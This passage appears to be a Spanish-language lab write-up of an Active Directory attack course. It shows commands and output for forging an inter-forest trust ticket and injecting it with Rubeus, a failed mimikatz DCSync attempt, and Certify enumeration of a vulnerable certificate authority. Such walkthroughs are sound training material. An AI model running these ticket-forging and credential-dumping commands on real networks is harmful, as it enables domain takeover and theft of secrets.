eurocorp.local Lifetime : 3/4/2024 2:30:48 AM ; 3/2/2034 2:30:48 AM ; 3/2/2034 2:30:48 AM -> Ticket : trust_forest_tkt.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! mimikatz(commandline) # exit Bye! ``` Luego cargamos el ticket usando rubeus. ``` C:\AD\Tools>Rubeus.exe asktgs /ticket:trust_forest_tkt.kirbi /service:cifs/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Ask TGS [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket [*] Building TGS-REQ request for: 'cifs/eurocorp-dc.eurocorp.local' [*] Using domain controller: eurocorp-dc.eurocorp.local (172.16.15.1) [+] TGS request successful! [+] Ticket successfully imported! [*] base64(ticket.kirbi): doIFjjCCBYqgAwIBBaEDAgEWooIEcDCCBGxhggRoMIIEZKADAgEFoRAbDkVVUk9DT1JQLkxPQ0FMoi0w K6ADAgECoSQwIhsEY2lmcxsaZXVyb2NvcnAtZGMuZXVyb2NvcnAubG9jYWyjggQaMIIEFqADAgESoQMC AQqiggQIBIIEBAgZKzPmmUITcuwUbfM/uLcsByEwg/dMg8Y0vkQZux0opKlDvj08pvby44Q4Th16IKXZ 1xFXwcpgrSdps3RU498Y4bVonA3EswaEbAqFeofHr/8y7xQN/XmWHkVrAtiFPswkTLo653JwinVCKPso cKJCS0GllF0jWj35vM+S3z1XJQf2ZtHcCa5FepYdSj/Xa5nGYikyhOrhCvWBMCaZ5GWlqEPURS7UUmKC COaKC7eFq92gcKsGKfYk5BawabmrCpBZP+5h0PK1qmK0BeQkLIo2z9ajPMFi0ec7onCm/IyVh252I9P/ wh4GmJKcMyDoXZ4q11gVBVjKcttXbaGeYXNOwbUC4j7ucRb6F4oKabveqtoXkgDKSR4OwUhcAUCR11ir jKn4rqhciYvkzcphaWyv8lpTbp2gmqGL4doURnmEYOL/djR/gXiWdgOdeeTH4j8N2RKY+c7N8wA9bFKd mfN+WSfrNl+DBv8RTsr4sBlzkYDQhpcW2q6805pvR+1strtDPm6kM6xyIGeyvULp2FzsM9LX2Mj1sVtO 6Xz6SFUUxD/w4tZX7Ra43A0ESWJ+Eh9yAGRuAOCrXeh+5lFeYTsJXzd1BBMT73zUZ+tm9b8Rz7VXD65q inFpJ9qTUzE48yq8c0gbYx6Nhy8Fg3bn6mezPFxS+t5pdACRA2l49/xlpaLlKpj8Mz+/myMT0533dGBo pLNF6IkSg4NhptEcZwZJo7QVJK6+E66ZgcBX5BNHYjCeVnh+O2oAQycrbbhuOYHo/RUxhbXVPCKaB/Gn pbsvImS3lbWxxI2KEhpWPtKihGZdpG3rU8q33nRpYRcQm+31kvInTRw1RrbT2m4SZb3oea7VGuOeTPBG mgGfyeOQFMO0Jkuivaubk6sc8rCz9XHBFmgVwzw5RNp8K/YmqHlkKNHUrPhYmaWFNzKJLkZcoksxEsBv 8axwax7sxRTtTVX1FzoSQzJaFqu49D0ebq9c7Vqpk5KJip1Ti0YJ1FU57PSHQ30P7P5y7bIBqLDmmASm 7TGC69ehiDutDllQb71684+ucr7ly8qL62EmyBMYEz5Je+cen0dwPjOFDTvnlAlhBHQNAI/hlo3wNuTY O22D8Jl0hKFPdBF2BK1Sg+CUgY3Qhoy8NDW0yAuG2D34gvHihbBp//ctps7P+BaBtShVIMwovvnSBU25 CoEQTy5ZOaTvWLlSAApT7gbU9IoS4+kl0k+y9lj+r6HHm/4W3YH0y+8emhkUajnRjQ8xuGmX5DPPwCoi 662DKgrGoU16Tcnviziois6d76DXuCD8VCJFcwJhopk+Dzr3NiBj+WgBYkVoXBguFjCPPBZIB3T8rKCO WGpK8BiPI29JIzz5uRVf1gcNo4IBCDCCAQSgAwIBAKKB/ASB+X2B9jCB86CB8DCB7TCB6qArMCmgAwIB EqEiBCCg2U90iALbhrC3P4FVBfXDOqB19ReLUqWmj/g5TO+F36EcGxpkb2xsYXJjb3JwLm1vbmV5Y29y cC5sb2NhbKIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEClAAClERgPMjAyNDAzMDQxMDMw NTlaphEYDzIwMjQwMzA0MjAzMDU5WqcRGA8yMDI0MDMxMTEwMzA1OVqoEBsORVVST0NPUlAuTE9DQUyp LTAroAMCAQKhJDAiGwRjaWZzGxpldXJvY29ycC1kYy5ldXJvY29ycC5sb2NhbA== ServiceName : cifs/eurocorp-dc.eurocorp.local ServiceRealm : EUROCORP.LOCAL UserName : Administrator UserRealm : dollarcorp.moneycorp.local StartTime : 3/4/2024 2:30:59 AM EndTime : 3/4/2024 12:30:59 PM RenewTill : 3/11/2024 3:30:59 AM Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : oNlPdIgC24awtz+BVQX1wzqgdfUXi1Klpo/4OUzvhd8= ``` Ahora podemos consultar al dc de eurocorp leer los archivos y obtener el contenido de secret.txt ``` C:\AD\Tools>dir \\eurocorp-dc.eurocorp.local\SharedwithDCorp\ Volume in drive \\eurocorp-dc.eurocorp.local\SharedwithDCorp has no label. Volume Serial Number is 1A5A-FDE2 Directory of \\eurocorp-dc.eurocorp.local\SharedwithDCorp 11/16/2022 04:26 AM . 11/15/2022 06:17 AM 29 secret.txt 1 File(s) 29 bytes 1 Dir(s) 12,755,787,776 bytes free C:\AD\Tools>type \\eurocorp-dc.eurocorp.local\SharedwithDCorp\secret.txt Dollarcorp DAs can read this! C:\AD\Tools> ``` ## DCSync Si quisieramos hacer DCSync, probamos con el protocolo LDAP al cargar el ticket. ``` C:\AD\Tools>Rubeus.exe asktgs /ticket:trust_forest_tkt.kirbi /service:ldap/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Ask TGS [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket [*] Building TGS-REQ request for: 'ldap/eurocorp-dc.eurocorp.local' [*] Using domain controller: eurocorp-dc.eurocorp.local (172.16.15.1) [+] TGS request successful! [+] Ticket successfully imported! [*] base64(ticket.kirbi): doIFjjCCBYqgAwIBBaEDAgEWooIEcDCCBGxhggRoMIIEZKADAgEFoRAbDkVVUk9DT1JQLkxPQ0FMoi0w K6ADAgECoSQwIhsEbGRhcBsaZXVyb2NvcnAtZGMuZXVyb2NvcnAubG9jYWyjggQaMIIEFqADAgESoQMC AQqiggQIBIIEBI9+WG8cz1LDuX8Dk9+tlOaTLDPbon/rmZj+Gh3OEwsdMfTkmuE1N8v7avq3Wja+NLEk Jfr6ZwMQbTVqPxyL4EuEhS44ga8Ni3K7BxUp1JYfvwPvvoB7OR6vOVXRO04m2JRcthfz4sEzvMQH3PnG zU12MQ+R6zGAjd8/urJj0Ip1F0Y9+P83NuLSY72y+ISGkadwmxoYC9AhocgyyJWp/w8b90vKnDhgC2bJ zlLM4m5Fy69m3vgAG0hBXuo5ArhN4MQvihP9wteiIFtT47dsl4jf6b/Eo5meh37defKVC20pyr7DsLVl PJBuyuvFPJWeK/ZIMJHYSczokdtHLnL0e+fkySHSzQqmDaFhaGPdqtLqp3jv1RP2k6bcGTO79JOmqB/q RqggAqUP2Rt2VML1w94mDZLCWZaCwnLifsurw8e8FNotFBdpZBPHCfhtzoXRjNt7i1bn/nJKbMTU+DAI bT42cT9MGVX+5MQQ+VtRJbXf9FMSRJnfmwl7JTxnS2qnMpsxGQE7o5RK50K/99tOuLSead866DjUTUXq OIRgPVDdPyvZ+6HK6Xsgg9mPD5sfnZ/HOpcCdwQuJa1UVAQk93NqjCSP+TwKF5EjqWpBVCvpYyGHPlQU jAFg7Gi1lc2qMOdWvEzGUMOmo4gyE0soO9PZxDSQ/merbStvd3T2PqtcdVVrch0vihvh6lm+ea90ZtM1 J7b3RGuhtpUUgrpRPA7/hwIcvuvg1N2wpRHeyW8Lwz307NMNJkHky+IVdc/5qZowhSEbIEIDbmv8oOqg uLBA5ObrJz5tL1nS6+eSDo04XIJf3Yu73s7vXWTsZNvYdc8gFj/reahweFw1Gp2kxfdM5vCGAPmwuOAb FpLfeRyRpPy6xagX8y6KNBQZpeAGfYl8ubwTlPGIhBx48BomBW0mpEWJsQjp6Ch9sBjtwcyzDjH7oUxC ZwLg4WduCj06uRaZN08w/Stw0SrxRiyNXc1vMY8ulIZ6VhenNcA4U23RrES2n6KJ7vCOeI2sgepZIq3j 5PvDXEid0i5jqZVMCuZTwoIczpLkmdb8jAg7wZtbsp7NNU7cWzyN4dyVYt1VARjNwbt7DyTB5vIi+apn DL/2Dx7jgT0qDQjWkq7A+/Kl3DitdgoAhZAVfuIyOjd38l2eGwqDB+F6OD/sOSICWRW9lCa1MOhiAX94 S0qksn+2w/7FOXUsNd/zly6txwq5+hfrShdPyLQNEkMP2855P+Hq0bEXq42ErbEApZrz3D0WdtLUsdcr N4myuI7jJj1ri6wQCmqW+txcLXtjHd05BmxgEjn9A+sSlchAehgDI56WdqjiXiRiLp1YnSmOe/J+wmxz /l5PkiIi+OBnJNh7r5JPf+W7o4IBCDCCAQSgAwIBAKKB/ASB+X2B9jCB86CB8DCB7TCB6qArMCmgAwIB EqEiBCDtFchaQ8cyWXbOz3e/8VJ8myX+ft8Yd5NVvzV0vyITL6EcGxpkb2xsYXJjb3JwLm1vbmV5Y29y cC5sb2NhbKIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEClAAClERgPMjAyNDAzMDQxMDM3 MjhaphEYDzIwMjQwMzA0MjAzNzI4WqcRGA8yMDI0MDMxMTEwMzcyOFqoEBsORVVST0NPUlAuTE9DQUyp LTAroAMCAQKhJDAiGwRsZGFwGxpldXJvY29ycC1kYy5ldXJvY29ycC5sb2NhbA== ServiceName : ldap/eurocorp-dc.eurocorp.local ServiceRealm : EUROCORP.LOCAL UserName : Administrator UserRealm : dollarcorp.moneycorp.local StartTime : 3/4/2024 2:37:28 AM EndTime : 3/4/2024 12:37:28 PM RenewTill : 3/11/2024 3:37:28 AM Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : 7RXIWkPHMll2zs93v/FSfJsl/n7fGHeTVb81dL8iEy8= ``` No funciona y no se porque exactamente, debe estar limitado a ciertas consultas. ``` C:\AD\Tools>mimikatz.exe "lsadump::dcsync /user:ecorp\Administrator /domain:eurocorp.local" "exit" .#####. mimikatz 2.2.0 (x64) #19041 Dec 23 2022 16:49:51 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(commandline) # lsadump::dcsync /user:ecorp\Administrator /domain:eurocorp.local [DC] 'eurocorp.local' will be the domain [DC] 'eurocorp-dc.eurocorp.local' will be the DC server [DC] 'ecorp\Administrator' will be the user account [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) ERROR kuhl_m_lsadump_dcsync ; GetNCChanges: 0x000020f7 (8439) mimikatz(commandline) # exit Bye! C:\AD\Tools> ``` # Learning Objective - 21 ## Across domain trusts - AD CS ### Buscando CAs ``` C:\AD\Tools>Certify.exe cas _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0 [*] Action: Find certificate authorities [*] Using the search base 'CN=Configuration,DC=moneycorp,DC=local' [*] Root CAs Cert SubjectName : CN=moneycorp-MCORP-DC-CA, DC=moneycorp, DC=local Cert Thumbprint : 8DA9C3EF73450A29BEB2C77177A5B02D912F7EA8 Cert Serial : 48D51C5ED50124AF43DB7A448BF68C49 Cert Start Date : 11/26/2022 1:59:16 AM Cert End Date : 11/26/2032 2:09:15 AM Cert Chain : CN=moneycorp-MCORP-DC-CA,DC=moneycorp,DC=local [*] NTAuthCertificates - Certificates that enable authentication: Cert SubjectName : CN=moneycorp-MCORP-DC-CA, DC=moneycorp, DC=local Cert Thumbprint : 8DA9C3EF73450A29BEB2C77177A5B02D912F7EA8 Cert Serial : 48D51C5ED50124AF43DB7A448BF68C49 Cert Start Date : 11/26/2022 1:59:16 AM Cert End Date : 11/26/2032 2:09:15 AM Cert Chain : CN=moneycorp-MCORP-DC-CA,DC=moneycorp,DC=local [*] Enterprise/Enrollment CAs: Enterprise CA Name : moneycorp-MCORP-DC-CA DNS Hostname : mcorp-dc.moneycorp.local FullName : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED Cert SubjectName : CN=moneycorp-MCORP-DC-CA, DC=moneycorp, DC=local Cert Thumbprint : 8DA9C3EF73450A29BEB2C77177A5B02D912F7EA8 Cert Serial : 48D51C5ED50124AF43DB7A448BF68C49 Cert Start Date : 11/26/2022 1:59:16 AM Cert End Date : 11/26/2032 2:09:15 AM Cert Chain : CN=moneycorp-MCORP-DC-CA,DC=moneycorp,DC=local [!] UserSpecifiedSAN : EDITF_ATTRIBUTESUBJECTALTNAME2 set, enrollees can specify Subject Alternative Names! CA Permissions : Owner: BUILTIN\Administrators S-1-5-32-544 Access Rights Principal Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11 Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544 Allow ManageCA, ManageCertificates mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 Allow ManageCA, ManageCertificates mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Enrollment Agent Restrictions : None Enabled Certificate Templates: CA-Integration HTTPSCertificates SmartCardEnrollment-Agent SmartCardEnrollment-Users DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator Certify completed in 00:00:36.5941105 ``` ### Enumerando Templates ``` C:\AD\Tools>Certify.exe find _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0 [*] Action: Find certificate templates [*] Using the search base 'CN=Configuration,DC=moneycorp,DC=local' [*] Listing info about the Enterprise CA 'moneycorp-MCORP-DC-CA' Enterprise CA Name : moneycorp-MCORP-DC-CA DNS Hostname : mcorp-dc.moneycorp.local FullName : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED Cert SubjectName : CN=moneycorp-MCORP-DC-CA, DC=moneycorp, DC=local Cert Thumbprint : 8DA9C3EF73450A29BEB2C77177A5B02D912F7EA8 Cert Serial : 48D51C5ED50124AF43DB7A448BF68C49 Cert Start Date : 11/26/2022 1:59:16 AM Cert End Date : 11/26/2032 2:09:15 AM Cert Chain : CN=moneycorp-MCORP-DC-CA,DC=moneycorp,DC=local [!] UserSpecifiedSAN : EDITF_ATTRIBUTESUBJECTALTNAME2 set, enrollees can specify Subject Alternative Names! CA Permissions : Owner: BUILTIN\Administrators S-1-5-32-544 Access Rights Principal Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11 Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544 Allow ManageCA, ManageCertificates mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 Allow ManageCA, ManageCertificates mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Enrollment Agent Restrictions : None [*] Available Certificates Templates : CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : User Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT Authorized Signatures Required : 0 pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email mspki-certificate-application-policy : Permissions Enrollment Permissions Enrollment Rights : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Domain Users S-1-5-21-335606122-960912869-3279953914-513 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteOwner Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : EFS Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT Authorized Signatures Required : 0 pkiextendedkeyusage : Encrypting File System mspki-certificate-application-policy : Permissions Enrollment Permissions Enrollment Rights : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Domain Users S-1-5-21-335606122-960912869-3279953914-513 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteOwner Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : Administrator Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT Authorized Signatures Required : 0 pkiextendedkeyusage : Client Authentication, Encrypting File System, Microsoft Trust List Signing, Secure Email mspki-certificate-application-policy : Permissions Enrollment Permissions Enrollment Rights : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteOwner Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : EFSRecovery Schema Version : 1 Validity Period : 5 years Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, AUTO_ENROLLMENT Authorized Signatures Required : 0 pkiextendedkeyusage : File Recovery mspki-certificate-application-policy : Permissions Enrollment Permissions Enrollment Rights : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteOwner Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : Machine Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_DNS, SUBJECT_REQUIRE_DNS_AS_CN mspki-enrollment-flag : AUTO_ENROLLMENT Authorized Signatures Required : 0 pkiextendedkeyusage : Client Authentication, Server Authentication mspki-certificate-application-policy : Permissions Enrollment Permissions Enrollment Rights : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Domain Computers S-1-5-21-335606122-960912869-3279953914-515 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteOwner Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : DomainController Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_DIRECTORY_GUID, SUBJECT_ALT_REQUIRE_DNS, SUBJECT_REQUIRE_DNS_AS_CN mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT Authorized Signatures Required : 0 pkiextendedkeyusage : Client Authentication, Server Authentication mspki-certificate-application-policy : Permissions Enrollment Permissions Enrollment Rights : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Domain Controllers S-1-5-21-335606122-960912869-3279953914-516 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 mcorp\Enterprise Read-only Domain ControllersS-1-5-21-335606122-960912869-3279953914-498 NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9 Object Control Permissions Owner : mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteOwner Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : WebServer Schema Version : 1 Validity Period : 2 years Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT mspki-enrollment-flag : NONE Authorized Signatures Required : 0 pkiextendedkeyusage : Server Authentication mspki-certificate-application-policy : Permissions Enrollment Permissions Enrollment Rights : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteOwner Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : SubCA Schema Version : 1 Validity Period : 5 years Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT mspki-enrollment-flag : NONE Authorized Signatures Required : 0 pkiextendedkeyusage : mspki-certificate-application-policy : Permissions Enrollment Permissions Enrollment Rights : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteOwner Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : DomainControllerAuthentication Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_DNS mspki-enrollment-flag : AUTO_ENROLLMENT Authorized Signatures Required : 0 pkiextendedkeyusage : Client Authentication, Server Authentication, Smart Card Logon mspki-certificate-application-policy : Client Authentication, Server Authentication, Smart Card Logon Permissions Enrollment Permissions Enrollment Rights : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Domain Controllers S-1-5-21-335606122-960912869-3279953914-516 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 mcorp\Enterprise Read-only Domain ControllersS-1-5-21-335606122-960912869-3279953914-498 NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9 AutoEnrollment Rights : mcorp\Domain Controllers S-1-5-21-335606122-960912869-3279953914-516 mcorp\Enterprise Read-only Domain ControllersS-1-5-21-335606122-960912869-3279953914-498 NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9 Object Control Permissions Owner : mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteOwner Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : DirectoryEmailReplication Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_DIRECTORY_GUID, SUBJECT_ALT_REQUIRE_DNS mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT Authorized Signatures Required : 0 pkiextendedkeyusage : Directory Service Email Replication mspki-certificate-application-policy : Directory Service Email Replication Permissions Enrollment Permissions Enrollment Rights : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Domain Controllers S-1-5-21-335606122-960912869-3279953914-516 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 mcorp\Enterprise Read-only Domain ControllersS-1-5-21-335606122-960912869-3279953914-498 NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9 AutoEnrollment Rights : mcorp\Domain Controllers S-1-5-21-335606122-960912869-3279953914-516 mcorp\Enterprise Read-only Domain ControllersS-1-5-21-335606122-960912869-3279953914-498 NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9 Object Control Permissions Owner : mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteOwner Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 